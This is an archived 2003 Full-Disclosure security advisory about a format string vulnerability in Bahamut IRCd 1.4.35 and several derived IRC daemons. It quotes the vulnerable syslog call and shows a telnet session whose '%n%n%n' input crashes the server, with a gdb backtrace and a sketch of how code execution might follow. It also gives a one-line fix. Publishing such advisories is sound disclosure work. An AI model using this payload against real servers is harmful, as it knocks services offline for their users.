full-disclosure - Bahamut IRCd <= 1.4.35 and several derived daemons

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20030626105755.GA490@mail.bitnux.com>
From: je-fulldisclosure at bitnux.com (Joel Eriksson)
Subject: Bahamut IRCd <= 1.4.35 and several derived daemons

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

==========================================================================
0xbadc0ded Advisory #01 - 2003/06/26 - Bahamut IRCd <= 1.4.35 and others
==========================================================================

Reference      http://0xbadc0ded.org/advisories/0301.txt
PGP-key        http://0xbadc0ded.org/advisories/pubkey.asc

Application    Bahamut IRCd <= 1.4.35 and several derived daemons
Discovered By  Anonymous 0xbadc0ded.org affiliate
Researched By  Joel Eriksson <je@...nux.com>

Overview

  Bahamut IRCd is the official IRC daemon of DALnet and a popular ircd 
  in general. There are also a number of daemons based on Bahamut.

Problem

  A remotely exploitable format string vulnerability exists in the
  latest version of Bahamut (1.4.35 at the time of writing) and many
  IRC daemons derived from it. Of the five daemons we have investigated,
  four of them were vulnerable. These are:
  
    bahamut-1.4.35
    digatech-1.2.1
    methane-0.1.1
    AndromedeIRCd1.2.3-Release

  The following daemon had already fixed the bug:

    cs-ircd-0.1.1beta

  For the vulnerability to appear, the server must be compiled with
  DEBUGMODE defined. This is the vulnerable code in src/s_debug.c:

      if (level == DEBUG_ERROR)
          syslog(LOG_ERR, debugbuf);

  One way to trigger the bug is simply to connect to the server and
  send the format string to be sent through syslog(). This is due to
  the following in src/parse.c (from bahamut-1.4.35):

      Debug((DEBUG_ERROR, "Unknown (%s) from %s",
          ch, get_client_name(cptr, TRUE)));

Exploit

  A DoS-attack is simple, just send a string consisting of a few %n's
  and the server will die with a segmentation fault due to trying to
  dereference and write to a NULL-pointer. Example:

    [je@...o ~]$ telnet 127.0.0.1 6667
    Trying 127.0.0.1...
    Connected to 127.0.0.1.
    Escape character is '^]'.
    :server.dal.net NOTICE AUTH :*** Looking up your hostname...
    :server.dal.net NOTICE AUTH :*** Checking Ident
    :server.dal.net NOTICE AUTH :*** Found your hostname
    :server.dal.net NOTICE AUTH :*** No Ident response
    %n%n%n
    Connection closed by foreign host.
    [je@...o ~]$ telnet 127.0.0.1 6667
    Trying 127.0.0.1...
    telnet: Unable to connect to remote host: Connection refused
    [je@...o ~]$ 

  And this is from a gdb-session on bahamut during the attack:

    Program received signal SIGSEGV, Segmentation fault.
    0x2f1e4e71 in vfprintf () from /lib/libc.so.6
    (gdb) x/i$pc
    0x2f1e4e71 <vfprintf+9857>:     mov    %ecx,(%eax)
    (gdb) i r eax
    eax            0x0      0
    (gdb) bt
    #0  0x2f1e4e71 in vfprintf () from /lib/libc.so.6
    #1  0x2f2711b2 in vsyslog () from /lib/libc.so.6
    #2  0x2f27101d in syslog () from /lib/libc.so.6
    #3  0x08064554 in debug (level=791434068, pattern=0x0) at s_debug.c:132
    #4  0x08057096 in parse (cptr=0x2f506440, buffer=0x2f506534 "%n%n%n", bufend=0x2f50653a "") at parse.c:212
    #5  0x08056f29 in client_dopacket (cptr=0x2f506440, buffer=0x0, length=9) at packet.c:236
    #6  0x08060668 in do_client_queue (cptr=0x2f506440) at s_bsd.c:1410
    #7  0x08061070 in read_message (delay=1, listp=0x81cddc0) at s_bsd.c:2131
    #8  0x080551e8 in io_loop () at ircd.c:1211
    #9  0x08054a8e in main (argc=0, argv=0x1) at ircd.c:991
    #10 0x2f1aedc4 in __libc_start_main () from /lib/libc.so.6
    (gdb) detach
    Detaching from program: /home/je/audit/bahamut-1.4.35/src/ircd, process 27284

  To use this bug for executing code on the target you would have to be
  a bit more creative, since debugbuf is a global variable and thus not
  on the stack. One way would be to overwrite the saved ebp in debug()
  to control ebp in the function that called debug() and thus the eip
  when returning from there.

Workaround

  Edit src/s_debug.c and change:

    syslog(LOG_ERR, debugbuf);

  to:

    syslog(LOG_ERR, "%s", debugbuf).

Disclosure Timeline

  2003/06/25 Notified developers of the vulnerable IRC-daemons.
  2003/06/26 Public release

==========================================================================
The 0xbadc0ded.org team is hosted and sponsored by Bitnux: www.bitnux.com
==========================================================================

Bitnux is a newly founded company located in Sweden focused on security
research and system development. We offer services such as:

  - Code Reviews
  - Exploit Development
  - Reverse Engineering of Code
  - Security Revisions of Systems and Software
  - Custom System Development for Unix/Linux/BSD and Windows

E-mail : info@...nux.com
Phone  : +46-70-228 64 16
Chat   : http://bitnux.com/live

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE++sUWqnq6VG/4jhQRAn3tAJsFrarhYjnRL3b8jUuYiYgJCKbWagCdHMLF
ymhvKVu6y1HsSDAwjxuGqRg=
=YzI5
-----END PGP SIGNATURE-----